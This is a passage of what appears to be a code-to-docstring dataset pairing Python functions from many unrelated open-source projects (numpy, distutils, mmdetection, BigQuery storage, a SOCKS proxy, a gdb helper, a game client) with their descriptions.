in t:Hr[i].append(HAProps(\"W\", \"P\", P_kPa, \"Tdb\", tdb, \"RH\", i/100))cont += 1parent.progressBar.setValue(5+10*cont/len(hr)/len(Hs))data[\"Hr\"] = Hr# Twblines = cls.LineList(\"isotwb\", Preferences)Twb = {}cont = 0for T in lines:ws = HAProps(\"W\", \"P\", P_kPa, \"RH\", 1, \"Tdb\", T)H = [ws, 0]_td = HAProps(\"Tdb\", \"P\", P_kPa, \"Twb\", T, \"RH\", 0)Tw = [unidades.Temperature(T), unidades.Temperature(_td)]cont += 1parent.progressBar.setValue(15+75*cont/len(lines))Twb[T] = (H, Tw)data[\"Twb\"] = Twb# vlines = cls.LineList(\"isochor\", Preferences)V = {}# rh = arange(1, -0.05, -0.05)rh = arange(0.00, 1.05, 0.05)for cont, v in enumerate(lines):w = []Td = []for r in rh:try:w.append(HAProps(\"W\", \"P\", P_kPa, \"RH\", r, \"V\", v))_td = HAProps(\"Tdb\", \"P\", P_kPa, \"RH\", r, \"V\", v)Td.append(unidades.Temperature(_td))except ValueError:passparent.progressBar.setValue(90+10*cont/len(lines))V[v] = (Td, w)data[\"v\"] = Vreturn dataclass PsyRefprop(PsyState):Psychrometric state using refprop external library"} {"code": "def configuration_schema(cls):\n schema = dict()\n schema[\"1\"] = {\n \"name\": \"-> Common Prefixes <-\",\n \"columns\": self._get_common_prefixes_schema(),\n }\n schema[\"2\"] = {\"name\": \"-> Graphs <-\", \"columns\": self._get_graphs_schema()}\n logger.info(schema.values())\n return schema.values()\n", "nl": "provide the configuration of the data source as json schemareturn {\"type\": \"object\",\"properties\": {\"CMEM_BASE_URI\": {\"type\": \"string\", \"title\": \"Base URL\"},\"OAUTH_GRANT_TYPE\": {\"type\": \"string\",\"title\": \"Grant Type\",\"default\": \"client_credentials\",\"extendedEnum\": [{\"value\": \"client_credentials\", \"name\": \"client_credentials\"},{\"value\": \"password\", \"name\": \"password\"},],},\"OAUTH_CLIENT_ID\": {\"type\": \"string\",\"title\": \"Client ID (e.g. cmem-service-account)\",\"default\": \"cmem-service-account\",},\"OAUTH_CLIENT_SECRET\": {\"type\": \"string\",\"title\": \"Client Secret - only needed for grant type 'client_credentials'\",},\"OAUTH_USER\": {\"type\": \"string\",\"title\": \"User account - only needed for grant type 'password'\",},\"OAUTH_PASSWORD\": {\"type\": \"string\",\"title\": \"User Password - only needed for grant type 'password'\",},\"SSL_VERIFY\": {\"type\": \"boolean\",\"title\": \"Verify SSL certificates for API requests\",\"default\": True,},\"REQUESTS_CA_BUNDLE\": {\"type\": \"string\",\"title\": \"Path to the CA Bundle file (.pem)\",},},\"required\": [\"CMEM_BASE_URI\", \"OAUTH_GRANT_TYPE\", \"OAUTH_CLIENT_ID\"],\"secret\": [\"OAUTH_CLIENT_SECRET\", \"OAUTH_PASSWORD\"],\"extra_options\": [\"OAUTH_GRANT_TYPE\",\"OAUTH_USER\",\"OAUTH_PASSWORD\",\"SSL_VERIFY\",\"REQUESTS_CA_BUNDLE\",],}def get_schema(self, get_stats=False):Get the schema structure (prefixes, graphs)."} {"code": "def compressed(self):\n data = ndarray.ravel(self._data)\n if self._mask is not nomask:\n data = data.compress(np.logical_not(ndarray.ravel(self._mask)))\n return data\n", "nl": "Return all the non-masked data as a 1-D array.Returns-------data : ndarrayA new `ndarray` holding the non-masked data is returned.Notes-----The result is **not** a MaskedArray!Examples-------->>> x = np.ma.array(np.arange(5), mask=[0]*2 + [1]*3)>>> x.compressed()array([0, 1])>>> type(x.compressed())"} {"code": "def called_from_tools_menu():\n\tf = (0,0, 600, 800)\n\tcd = preview_Code('findfile.py','root', frame = f)\n\tcd.present('sheet')\n\texit()\n\n\tpath = 'v2.py'\n\timport editor, os\n\tmultipler = .8\n\tf = (0,0, ui.get_screen_size()[0] * multipler, ui.get_screen_size()[1] * multipler)\n\tcd = CodeDisplay(frame = f )\n\tcd.load_code_from_file(path)\n\tcd.present('sheet')\n\tcd.hilite_lines_with_word('os.patH')\n\n\n\n\n'''\n'''\n\nskip_dirs = '\\\\.Trash|Backup'\nexts = 'py'\nroot_dir = os.path.expanduser('~/Documents')\n\n", "nl": "if called from the tools/wrench menu, we just view the current script.As i normally use a dark theme, this is ok for me sometimes"} {"code": "def AdjustMidlIncludeDirs(self, midl_include_dirs, config):\n config = self._TargetConfig(config)\n includes = midl_include_dirs + self.msvs_system_include_dirs[config]\n includes.extend(self._Setting(", "nl": "Updates midl_include_dirs to expand VS specific paths, and adds thesystem include dirs used for platform SDK and similar."} {"code": "def test_register_and_run(runner):\n result = runner.invoke(broken_cli)\n assert result.exit_code == 0\n\n for ep in iter_entry_points(\"_test_click_plugins.broken_plugins\"):\n cmd_result = runner.invoke(broken_cli, [ep.name])\n assert cmd_result.exit_code != 0\n assert \"Traceback\" in cmd_result.output\n\n", "nl": "Test that registration and run of the command work correctly.result = runner.invoke(good_cli)assert result.exit_code == 0for ep in iter_entry_points(\"_test_click_plugins.test_plugins\"):cmd_result = runner.invoke(good_cli, [ep.name, \"something\"])assert cmd_result.exit_code == 0assert cmd_result.output.strip() == \"passed\"def test_broken_register_and_run(runner):Test that the broken plugin doesn't get registered as expected."} {"code": "def getuserbase():\n global USER_BASE\n if USER_BASE is not None:\n return USER_BASE\n from sysconfig import get_config_var\n USER_BASE = get_config_var('userbase')\n return USER_BASE\n", "nl": "Returns the `user base` directory path.The `user base` directory can be used to store data. If the globalvariable ``USER_BASE`` is not initialized yet, this function will also setit."} {"code": "def GetBundlePlugInsFolderPath(self):\n assert self._IsBundle()\n return os.path.join(self.GetBundleContentsFolderPath(), 'PlugIns')\n", "nl": "Returns the qualified path to the bundle's plugins folder. E.g,Chromium.app/Contents/PlugIns. Only valid for bundles."} {"code": "def run_setup (script_name, script_args=None, stop_after=\"run\"):\n if stop_after not in ('init', 'config', 'commandline', 'run'):\n raise ValueError, \"invalid value for 'stop_after': %r\" % (stop_after,)\n\n global _setup_stop_after, _setup_distribution\n _setup_stop_after = stop_after\n\n save_argv = sys.argv\n g = {}\n l = {}\n try:\n try:\n sys.argv[0] = script_name\n if script_args is not None:\n sys.argv[1:] = script_args\n execfile(script_name, g, l)\n finally:\n sys.argv = save_argv\n _setup_stop_after = None\n except SystemExit:\n pass\n except:\n raise\n\n if _setup_distribution is None:\n raise RuntimeError, \\\n (\"'distutils.core.setup()' was never called -- \"\n \"perhaps '%s' is not a Distutils setup script?\") % \\\n script_name\n\n return _setup_distribution\n", "nl": "Run a setup script in a somewhat controlled environment, andreturn the Distribution instance that drives things. This is usefulif you need to find out the distribution meta-data (passed askeyword args from 'script' to 'setup()', or the contents of theconfig files or command-line.'script_name' is a file that will be run with 'execfile()';'sys.argv[0]' will be replaced with 'script' for the duration of thecall. 'script_args' is a list of strings; if supplied,'sys.argv[1:]' will be replaced by 'script_args' for the duration ofthe call.'stop_after' tells 'setup()' when to stop processing; possiblevalues:initstop after the Distribution instance has been created andpopulated with the keyword arguments to 'setup()'configstop after config files have been parsed (and their datastored in the Distribution instance)commandlinestop after the command-line ('sys.argv[1:]' or 'script_args')have been parsed (and the data stored in the Distribution)run [default]stop after all commands have been run (the same as if 'setup()'had been called in the usual wayReturns the Distribution instance, which provides all informationused to drive the Distutils."} {"code": "def convert(in_file, out_file):\n checkpoint = torch.load(in_file)\n in_state_dict = checkpoint.pop('state_dict')\n out_state_dict = OrderedDict()\n for key, val in in_state_dict.items():\n m = re.search(r'(cls_convs|reg_convs).\\d.(weight|bias)', key)\n if m is not None:\n param = m.groups()[1]\n new_key = key.replace(param, 'conv.{}'.format(param))\n out_state_dict[new_key] = val\n continue\n\n out_state_dict[key] = val\n checkpoint['state_dict'] = out_state_dict\n torch.save(checkpoint, out_file)\n\n", "nl": "Convert keys in checkpoints.There can be some breaking changes during the development of mmdetection,and this tool is used for upgrading checkpoints trained with old versionsto the latest one."} {"code": "def transform(self, X):\n num_diag, Xfit = len(X), []\n x_values = np.linspace(self.sample_range[0], self.sample_range[1], self.resolution)\n step_x = x_values[1] - x_values[0]\n\n for i in range(num_diag):\n\n diagram, num_pts_in_diag = X[i], X[i].shape[0]\n\n bc = np.zeros(self.resolution)\n for j in range(num_pts_in_diag):\n [px,py] = diagram[j,:2]\n min_idx = np.minimum(np.maximum(np.ceil((px - self.sample_range[0]) / step_x).astype(int), 0), self.resolution)\n max_idx = np.minimum(np.maximum(np.ceil((py - self.sample_range[0]) / step_x).astype(int), 0), self.resolution)\n for k in range(min_idx, max_idx):\n bc[k] += 1\n\n Xfit.append(np.reshape(bc,[1,-1]))\n\n Xfit = np.concatenate(Xfit, 0)\n\n return Xfit\n\nclass Entropy(BaseEstimator, TransformerMixin):\n \"\"\"", "nl": "Compute the Betti curve for each persistence diagram individually and concatenate the results.Parameters:X (list of n x 2 numpy arrays): input persistence diagrams.Returns:Xfit (numpy array with shape (number of diagrams) x (**resolution**): output Betti curves."} {"code": "def film_resnet18(pretrained=False, pretrained_model_path=None, mt=False, **kwargs):\n\n if mt:\n return film_resnet18_mt(pretrained, pretrained_model_path, **kwargs)\n\n model = FilmResNet(BasicBlockFilm, [2, 2, 2, 2], **kwargs)\n if pretrained:\n ckpt_dict = torch.load(pretrained_model_path)\n model.load_state_dict(ckpt_dict['state_dict'])\n return model\n", "nl": "Constructs a FiLM adapted ResNet-18 model."} {"code": "def tracker_query_storage_update(self, group_name, filename):\n return self._tracker_do_query_storage(group_name, filename, TRACKER_PROTO_CMD_SERVICE_QUERY_UPDATE)\n", "nl": "Query storage server to update(delete and set_meta)."} {"code": "def form_params(self):\n self.widgets = FormWidgets(self.fields, self, self.request)\n self.widgets.update()\n", "nl": " get form request params if self.params is not None:if not isinstance(self.params, MultiDict):return MultiDict(self.params)return self.paramsif self.method == 'post':return self.request.POSTelif self.method == 'get':return self.request.GETelse:return self.paramsdef update_widgets(self): prepare form widgets "} {"code": "def deserialize_date(string):\n try:\n from dateutil.parser import parse\n\n return parse(string).date()\n except ImportError:\n return string\n\n", "nl": "Deserializes string to date.:param string: str.:type string: str:return: date.:rtype: date"} {"code": "def _compare_against_ak135_tables_kennet(self, filename, phases):\n values = self._read_ak135_test_files(filename)\n m = TauPyModel(model=\"ak135\")\n start = np.random.randint(SPEEDUP_FACTOR)\n for value in values[start::SPEEDUP_FACTOR]:", "nl": "Helper function to compare against the AK135 traveltime tables ofKennet. This test is also done in the Java TauP version."} {"code": "def __str__(self):\n return \"Duration('%s', %g)\" % (self._frame, self._seconds)\n", "nl": "Print the Duration.return \"%g %s\" % (self._seconds, self._frame)def __repr__(self):Print the Duration."} {"code": "def __init__(self, parent = None):\n XMLReader.__init__(self)\n self._parent = parent\n", "nl": "Creates a filter instance, allowing applications to set theparent on instantiation."} {"code": "def strides_as(self, obj):\n if self._zerod:\n return None\n return (obj*self._arr.ndim)(*self._arr.strides)\n\n @property", "nl": "Return the strides tuple as an array of some otherc-types type. For example: ``self.strides_as(ctypes.c_longlong)``."} {"code": "def enable(self, pulse_settings: PulseSettings, hold_settings: HoldSettings) -> None:\n hold_settings = self._config_state.hold_settings if self._config_state else None\n self.configure_coil(pulse_settings, hold_settings,", "nl": "Enable (turn on) this coil/driver.# reconfigure coil (if necessary)self.configure_coil(pulse_settings, hold_settings,self.get_recycle_time_ms_for_cmd(self.config.default_recycle, pulse_settings.duration))cmd = \"PCH{}{:02d}\".format(self.number.board_address_id, self.number.coil_number)self.log.debug(\"Sending Hold/Enable coil command: %s\", cmd)self.send(cmd)def pulse(self, pulse_settings: PulseSettings) -> None:Pulse this coil/driver."} {"code": "def make_wrap_words(length, sep=','):\n if not align:\n align = {}\n\n table = prettytable.PrettyTable(columns)\n for col in columns:\n table.align[col] = align.get(col, 'l')\n\n table.set_style(prettytable.PLAIN_COLUMNS)\n table.header = header\n\n table.left_padding_width = 0\n table.right_padding_width = 2\n return table\n\n", "nl": "Returng wrap words function.return lambda words: wrap_words(words, length, sep)def _make_table(columns, header=False, align=None):Make a table object for output."} {"code": "def compute_graph(samples, weights=None, p_norm=2, max_degree=10, max_distance=INF, approximate_eps=0.):\n vertices = list(range(len(samples)))\n edges = set()\n if not vertices:\n return vertices, edges\n if weights is None:\n weights = np.ones(len(samples[0]))\n embed_fn = get_embed_fn(weights)\n embedded = list(map(embed_fn, samples))\n kd_tree = KDTree(embedded)\n for v1 in vertices:\n distances, neighbors = kd_tree.query(embedded[v1], k=max_degree + 1, eps=approximate_eps,\n p=p_norm, distance_upper_bound=max_distance)\n for d, v2 in zip(distances, neighbors):\n if (d < max_distance) and (v1 != v2):\n edges.update([(v1, v2), (v2, v1)])\n return vertices, edges\n\n", "nl": "Build a graph based on samples. We use ``scipy.spatial.kdtree.KDTree`` for now.Parameters----------samples : listlist of sampled configurationsweights : list, optionaljoint weights, by default None, using np.ones(dimension)p_norm : int, optionalp norm used for computing distance, by default 2max_degree : int, optionalmax vertex degree in the graph, by default 10max_distance : [type], optional[description], by default INFapproximate_eps : [type], optional[description], by default 0.Returns-------vertices : listlist of graph vertex indicesedges : listlist of graph edges (vertex index pairs)"} {"code": "def __ne__(self, other):\n return not_equal(self, other)\n", "nl": "Return (self != other) element-wise.See also--------not_equal"} {"code": "def __init__(self, *args, **kwargs):\n EnhancedButton.__init__(self, *args, **kwargs)\n OptionsPopupWidget.__init__(self, *args, **kwargs)\n\n self._popup_menu.attach_to_widget(self, None)\n self._popup_menu.connect('deactivate', self.popup_deactivate)\n\n self._first_menu_item = None\n", "nl": "Initializes the button."} {"code": "def _write_SOCKS5_address(self, addr, file):\n host, port = addr\n proxy_type, _, _, rdns, username, password = self.proxy\n\n try:\n addr_bytes = socket.inet_aton(host)\n file.write(b\"\\x01\" + addr_bytes)\n host = socket.inet_ntoa(addr_bytes)\n except socket.error:\n if rdns:\n host_bytes = host.encode('idna')\n file.write(b\"\\x03\" + chr(len(host_bytes)).encode() + host_bytes)\n else:\n addr_bytes = socket.inet_aton(socket.gethostbyname(host))\n file.write(b\"\\x01\" + addr_bytes)\n host = socket.inet_ntoa(addr_bytes)\n\n file.write(struct.pack(\">H\", port))\n return host, port\n", "nl": "Return the host and port packed for the SOCKS5 protocol,and the resolved address as a tuple object."} {"code": "def setMovie(self, mode, npcId, avId, extraArgs, timestamp):\n timeStamp = ClockDelta.globalClockDelta.localElapsedTime(timestamp)\n self.remain = NPCToons.CLERK_COUNTDOWN_TIME - timeStamp\n\n self.npcId = npcId\n\n self.isLocalToon = (avId == base.localAvatar.doId)\n\n assert(self.notify.debug(\"setMovie: %s %s %s %s\" %\n (mode, avId, timeStamp, self.isLocalToon)))\n\n if (mode == NPCToons.SELL_MOVIE_CLEAR):\n assert self.notify.debug('SELL_MOVIE_CLEAR')\n return\n\n if (mode == NPCToons.SELL_MOVIE_TIMEOUT):\n assert self.notify.debug('SELL_MOVIE_TIMEOUT')\n taskMgr.remove(self.uniqueName('lerpCamera'))\n if (self.isLocalToon):\n self.ignoreEventDict()\n if self.popupInfo:\n self.popupInfo.reparentTo(hidden)\n if self.petshopGui:\n self.petshopGui.destroy()\n self.petshopGui = None\n\n self.setChatAbsolute(TTLocalizer.STOREOWNER_TOOKTOOLONG,\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_START):\n assert self.notify.debug('SELL_MOVIE_START')\n self.av = base.cr.doId2do.get(avId)\n if self.av is None:\n self.notify.warning(\"Avatar %d not found in doId\" % (avId))\n return\n else:\n self.accept(self.av.uniqueName('disable'),\n self.__handleUnexpectedExit)\n\n self.setupAvatars(self.av)\n\n if (self.isLocalToon):\n camera.wrtReparentTo(render)\n camera.lerpPosHpr(-5, 9, base.localAvatar.getHeight()-0.5,\n -150, -2, 0,\n 1,\n other=self,\n blendType=\"easeOut\",\n task=self.uniqueName('lerpCamera'))\n\n if (self.isLocalToon):\n taskMgr.doMethodLater(1.0, self.popupPetshopGUI,\n self.uniqueName('popupPetshopGUI'))\n\n elif (mode == NPCToons.SELL_MOVIE_COMPLETE):\n assert self.notify.debug('SELL_MOVIE_COMPLETE')\n self.setChatAbsolute(TTLocalizer.STOREOWNER_THANKSFISH_PETSHOP,\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_PETRETURNED):\n assert self.notify.debug('SELL_MOVIE_PETRETURNED')\n self.setChatAbsolute(TTLocalizer.STOREOWNER_PETRETURNED,\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_PETADOPTED):\n assert self.notify.debug('SELL_MOVIE_PETADOPTED')\n self.setChatAbsolute(TTLocalizer.STOREOWNER_PETADOPTED,\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_PETCANCELED):\n assert self.notify.debug('SELL_MOVIE_PETCANCELED')\n self.setChatAbsolute(TTLocalizer.STOREOWNER_PETCANCELED,\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_TROPHY):\n assert self.notify.debug('SELL_MOVIE_TROPHY')\n\n self.av = base.cr.doId2do.get(avId)\n if self.av is None:\n self.notify.warning(\"Avatar %d not found in doId\" % (avId))\n return\n else:\n numFish, totalNumFish = extraArgs\n self.setChatAbsolute(TTLocalizer.STOREOWNER_TROPHY % (numFish, totalNumFish),\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_NOFISH):\n assert self.notify.debug('SELL_MOVIE_NOFISH')\n self.setChatAbsolute(TTLocalizer.STOREOWNER_NOFISH,\n CFSpeech | CFTimeout)\n self.resetPetshopClerk()\n\n elif (mode == NPCToons.SELL_MOVIE_NO_MONEY):\n self.notify.warning('SELL_MOVIE_NO_MONEY should not be called')\n self.resetPetshopClerk()\n\n return\n", "nl": "This is a message from the AI describing a movie between this NPCand a Toon that has approached us."} {"code": "def bytecode_to_string(self):\n and override :meth:`load_bytecode` and :meth:`dump_bytecode`. Both of\n these methods are passed a :class:`~jinja2.bccache.Bucket`.\n\n A very basic bytecode cache that saves the bytecode on the file system::\n\n from os import path\n\n class MyCache(BytecodeCache):\n", "nl": "Return the bytecode as string.out = BytesIO()self.write_bytecode(out)return out.getvalue()class BytecodeCache(object):To implement your own bytecode cache you have to subclass this class"} {"code": "def fill(self, value, queue=None, wait_for=None):\n\n self.add_event(\n self._fill(self, value, queue=queue, wait_for=wait_for))\n\n return self\n", "nl": "Fill the array with *scalar*.:returns: *self*."} {"code": "def test_substitute(self):\n\n with self.assertRaises(KeyError):\n substitute_parameters(self.layout, {\"NOEDITOR\": \"vim\"})\n\n\nclass Test_SubstituteOnVerify(unittest.TestCase, TmpDirMixin):\n \"\"\"Test verifylib.verify_command_alignment(command, expected_command)\"\"\"", "nl": "Do a simple substitution on the expected_command fieldsubstitute_parameters(self.layout, {\"EDITOR\": \"vim\"})self.assertEqual(self.layout.steps[0].expected_command[0], \"vim\")def test_substitute_no_var(self):Raise an error if the parameter is not filled-in"} {"code": "def checkPointMove(self, handle, pos, modifiers):\n return True\n", "nl": "When handles move, they must ask the ROI if the move is acceptable.By default, this always returns True. Subclasses may wish override."} {"code": "def initialize(self, day, kiosk, cropdata):\n\n self.kiosk = kiosk\n self.params = self.Parameters(cropdata)\n self.rates = self.RateVariables(kiosk,publish=[\"DRLV\", \"GRLV\"])\n\n p = self.params\n k = self.kiosk\n WLV = (p.TDWI * (1-k.FR)) * k.FL\n DWLV = 0.\n TWLV = WLV + DWLV\n\n SLA = deque([p.SLATB(k.DVS)])\n LVAGE = deque([0.])\n LV = deque([WLV])\n\n LAIEM = LV[0] * SLA[0]\n LASUM = LAIEM\n LAIEXP = LAIEM\n LAIMAX = LAIEM\n LAI = LASUM + k.SAI + k.PAI\n\n self.states = self.StateVariables(kiosk, publish=[\"LAI\", \"TWLV\", \"WLV\"], LV=LV, SLA=SLA, LVAGE=LVAGE,\n LAIEM=LAIEM, LASUM=LASUM, LAIEXP=LAIEXP, LAIMAX=LAIMAX, LAI=LAI, WLV=WLV, DWLV=DWLV, TWLV=TWLV)\n", "nl": ":param day: start date of the simulation:param kiosk: variable kiosk of this PCSE instance:param cropdata: dictionary with WOFOST cropdata key/value pairs"} {"code": "def remove_bad_tris(self):\n new_tris = []\n num_v = self.vertices_.shape[0]\n for t in self.triangles_:\n if (t[0] >= 0 and t[0] < num_v and\n t[1] >= 0 and t[1] < num_v and\n t[2] >= 0 and t[2] < num_v):\n new_tris.append(t)\n self.triangles = np.array(new_tris)\n", "nl": "Remove triangles with out-of-bounds vertices from the mesh."} {"code": "def __init__(self, in_channels, out_channels):\n super(Lin, self).__init__()\n\n self.model = nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=True),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n", "nl": "Constructor.:param in_channels: int, input channels.:param out_channels: int, desired output channels."} {"code": "def reshape(self, bottom, top):\n ws = boxes[:, :, 2] - boxes[:, :, 0] + 1\n hs = boxes[:, :, 3] - boxes[:, :, 1] + 1\n keep = ((ws >= min_size.view(-1,1).expand_as(ws)) & (hs >= min_size.view(-1,1).expand_as(hs)))\n return keep", "nl": "Reshaping happens during the call to forward.passdef _filter_boxes(self, boxes, min_size):Remove all boxes with any side smaller than min_size."} {"code": "def _get_path(client):\n if client is None:\n client = docker.from_env()\n\n info = client.info()\n return os.path.join(info['DockerRootDir'], _CREDENTIAL_SPECS_PATH)\n\n", "nl": "Gets the credential spec path."} {"code": "def storage_factory(self):\n raise NotImplementedError\n\n", "nl": "Open (or create and open) storage."} {"code": "def to_dataframe(self, dtypes=None):\n if pandas is None:\n raise ImportError(_PANDAS_REQUIRED)\n\n if dtypes is None:\n dtypes = {}\n\n try:\n record_batch = self.to_arrow()\n except NotImplementedError:\n pass\n else:\n df = record_batch.to_pandas()\n for column in dtypes:\n df[column] = pandas.Series(df[column], dtype=dtypes[column])\n return df\n\n frames = [page.to_dataframe(dtypes=dtypes) for page in self.pages]\n\n if frames:\n return pandas.concat(frames)\n\n self._stream_parser._parse_avro_schema()\n schema = self._stream_parser._avro_schema_json\n\n column_dtypes = self._dtypes_from_avro(schema[\"fields\"])\n column_dtypes.update(dtypes)\n\n df = pandas.DataFrame(columns=column_dtypes.keys())\n for column in df:\n df[column] = pandas.Series([], dtype=column_dtypes[column])\n\n return df\n", "nl": "Create a :class:`pandas.DataFrame` of all rows in the stream.This method requires the pandas libary to create a data frame and thefastavro library to parse row messages... warning::DATETIME columns are not supported. They are currently parsed asstrings in the fastavro library.Args:dtypes ( \\Map[str, Union[str, pandas.Series.dtype]] \\):Optional. A dictionary of column names pandas ``dtype``s. Theprovided ``dtype`` is used when constructing the series forthe column specified. Otherwise, the default pandas behavioris used.Returns:pandas.DataFrame:A data frame of all rows in the stream."} {"code": "def __init__(self):\n self.database = None\n self.dataset = None\n\n self._database_temp_cache_dir = None\n", "nl": "Create a DexNet object"} {"code": "def parse_and_eval(self, exp):\n\n for r in self.register_names():\n if \"$\" + r not in exp and \"e\" + r not in exp and \"r\" + r not in exp:\n exp = exp.replace(r, \"$%s\" % r)\n\n p = re.compile(r\"(.*)\\[(.*)]\")\n matches = p.search(exp)\n if not matches:\n p = re.compile(\"(.*).s:(0x.*)\")\n matches = p.search(exp)\n\n if matches:\n mod = \"w\"\n if \"BYTE\" in matches.group(1):\n mod = \"b\"\n elif \"QWORD\" in matches.group(1):\n mod = \"g\"\n elif \"DWORD\" in matches.group(1):\n mod = \"w\"\n elif \"WORD\" in matches.group(1):\n mod = \"h\"\n\n out = PEDA.execute_redirect(\"x/%sx %s\" % (mod, matches.group(2)))\n if not out:\n return None\n else:\n return out.split(\":\\t\")[-1].strip()\n\n else:\n out = PEDA.execute_redirect(\"print %s\" % exp)\n if not out:\n return None\n else:\n out = str(gdb.history(0))\n out = out.encode('ascii', 'ignore')\n out = decode_string_escape(out)\n return out.strip()\n", "nl": "Work around implementation for gdb.parse_and_eval with enhancementsArgs:- exp: expression to evaluate (String)Returns:- value of expression"} {"code": "def load(cls, file_obj, length, field_cls, strict=True):\n\n binary_block = BinaryBlock()\n binary_block.set_file(file_obj.name or file_obj, file_obj.tell(), length)\n\n try:\n field_length = util.find_file_pattern(file_obj, FIELD_DELIM_BYTES,\n limit=length, inclusive=True)\n except ValueError:\n field_length = length\n\n errors = 'strict' if strict else 'replace'\n field_str = file_obj.read(field_length).decode(errors=errors)\n fields = field_cls.parse(field_str)\n payload_length = length - field_length\n payload = Payload()\n\n payload.set_file(file_obj.name or file_obj, offset=file_obj.tell(),\n length=payload_length)\n _logger.debug('Field length=%d', field_length)\n _logger.debug('Payload length=%d', payload_length)\n\n file_obj.seek(file_obj.tell() + payload_length)\n\n block = BlockWithPayload(fields, payload)\n block.binary_block = binary_block\n\n return block\n\n @property", "nl": "Return a :class:`BlockWithPayload`:param file_obj: The file object:param length: How much to read from the file:param field_cls: The class or subclass of :class:`Fields`"} {"code": "def test_correlate_template_nodemean_fastmatchedfilter(self):\n result = [\n -1.48108244e-01, 4.71532270e-02, 1.82797655e-01,\n 1.92574233e-01, 1.18700281e-01, 1.18958903e-02,\n -9.23405439e-02, -1.40047163e-01, -1.00863703e-01,\n -4.86961426e-03, 1.04124829e-01, 1.72662303e-01,\n 1.41110823e-01, 1.53776666e-04, -1.71214968e-01,\n -2.83201426e-01, -3.04899812e-01, -2.03215942e-01,\n 8.88349637e-02, 5.00749528e-01, 7.18140483e-01,\n 5.29728174e-01, 1.30591258e-01, -1.83402568e-01,\n -3.22406143e-01, -3.20676118e-01, -1.98054180e-01,\n -5.06028766e-04, 1.56253457e-01, 1.74580097e-01,\n 6.49696961e-02, -8.56237561e-02, -1.89858019e-01,\n -1.96504310e-01, -1.04968190e-01, 2.51029599e-02,\n 1.32686019e-01, 2.03692451e-01, 2.11983219e-01,\n 0.00000000e+00, 0.00000000e+00]\n data = read()[0].data\n template = data[400:600]\n data = data[380:620]\n template = template - template.mean()\n cc = correlate_template(data, template, demean=False)\n np.testing.assert_allclose(cc[0:-2], result[0:-2], atol=1e-7)\n shift, corr = xcorr_max(cc)\n assert shift == 0\n", "nl": "Compare non-demeaned result against FMF derived result.FMF result obtained by the following:import copyimport numpy as npfrom fast_matched_filter import matched_filterfrom obspy import readdata = read()[0].datatemplate = copy.deepcopy(data[400:600])data = data[380:620]result = matched_filter(templates=template.reshape(1, 1, 1, len(template)),moveouts=np.array(0).reshape(1, 1, 1),weights=np.array(1).reshape(1, 1, 1),data=data.reshape(1, 1, len(data)),step=1, arch='cpu')[0].. note::FastMatchedFilter doesn't use semver, but result generated by CalumChamberlain on 18 Jan 2018 using up-to-date code, with the patchin https://github.com/beridel/fast_matched_filter/pull/12"} {"code": "def validateDriveState(self) -> None:\n\n valdiated_drives = []", "nl": "Validate the internally maintained list of drives and their mount status byexamining /proc/mounts"} {"code": "def add_to_group(self, tgen, group=None):\n\t\tReturns the name of the input build group\n\n\t\t:param g: build group object or build group index\n\t\t:type g: integer or list\n\t\t:return: name\n\t\t:rtype: string\n\t\t\"\"\"", "nl": "Adds a task or a task generator to the build; there is no attempt to remove it if it was already added.assert(isinstance(tgen, TaskGen.task_gen) or isinstance(tgen, Task.Task))tgen.bld = selfself.get_group(group).append(tgen)def get_group_name(self, g):"} {"code": "def python_branch():\n\n return _sys_version()[2]\n", "nl": " Returns a string identifying the Python implementationbranch.For CPython this is the SCM branch from which thePython binary was built.If not available, an empty string is returned."} {"code": "def execute(self):\n return self.session.execute_find_and_modify(self)\n\n\nclass UpdateException(Exception):\n ''' Base class for exceptions related to updates '''", "nl": " Execute the update expression on the database self.session.execute_update(self, safe=self.__safe)class FindAndModifyExpression(UpdateExpression):def __init__(self, query, new, remove):self.__new = newself.__remove = removeUpdateExpression.__init__(self, query)def _get_remove(self):return self.__removedef _get_new(self):return self.__newdef execute(self): Execute the find and modify expression on the database "} {"code": "def ensure_text(s, encoding='utf-8', errors='strict'):\n if isinstance(s, binary_type):\n return s.decode(encoding, errors)\n elif isinstance(s, text_type):\n return s\n else:\n raise TypeError(\"not expecting type '%s'\" % type(s))\n\n", "nl": "Coerce *s* to six.text_type.For Python 2:- `unicode` -> `unicode`- `str` -> `unicode`For Python 3:- `str` -> `str`- `bytes` -> decoded to `str`"} {"code": "def which(cmd, mode=os.F_OK | os.X_OK, path=None):", "nl": "Given a command, mode, and a PATH string, return the path whichconforms to the given mode on the PATH, or None if there is no suchfile.`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the resultof os.environ.get(\"PATH\"), or can be overridden with a custom searchpath."} {"code": "def _freeze_dict_arg(func):\n\n @wraps(func)", "nl": "Freeze the argument of a function that takes a single dictionary.This decorator exists purely to get a hashable dictionary that canbe cached with lru_cache, so func should be a function wrapped withthe lru_cache decorator."} {"code": "def update(self, new_result):\n if not isinstance(new_result, self.__class__):\n raise TypeError(\"new_results must be of type '{}'\"\n .format(self.__class__))\n\n if new_result._data.empty:\n return\n\n self._data = self._data.append(new_result._data, sort=False)\n self._data.sort_index(inplace=True)\n self.check_for_overlap()\n", "nl": "Add results from a new chunk.Parameters----------new_result : Results subclass (sameclass as self) from new chunk of data."} {"code": "def optimize_chunk(arr: xr.DataArray, chk: dict) -> xr.DataArray:\n fast_funcs = FAST_FUNCTIONS + [darr.core.concatenate3]\n arr_chk = arr.chunk(chk)\n arr_opt = fct.partial(\n custom_arr_optimize,\n fast_funcs=fast_funcs,\n rewrite_dict={\"rechunk-merge\": \"merge_restricted\"},\n )\n with da.config.set(array_optimize=arr_opt):\n arr_chk.data = da.optimize(arr_chk.data)[0]\n return arr_chk\n\n", "nl": "Rechunk a `xr.DataArray` with constrained \"rechunk-merge\" tasks.Parameters----------arr : 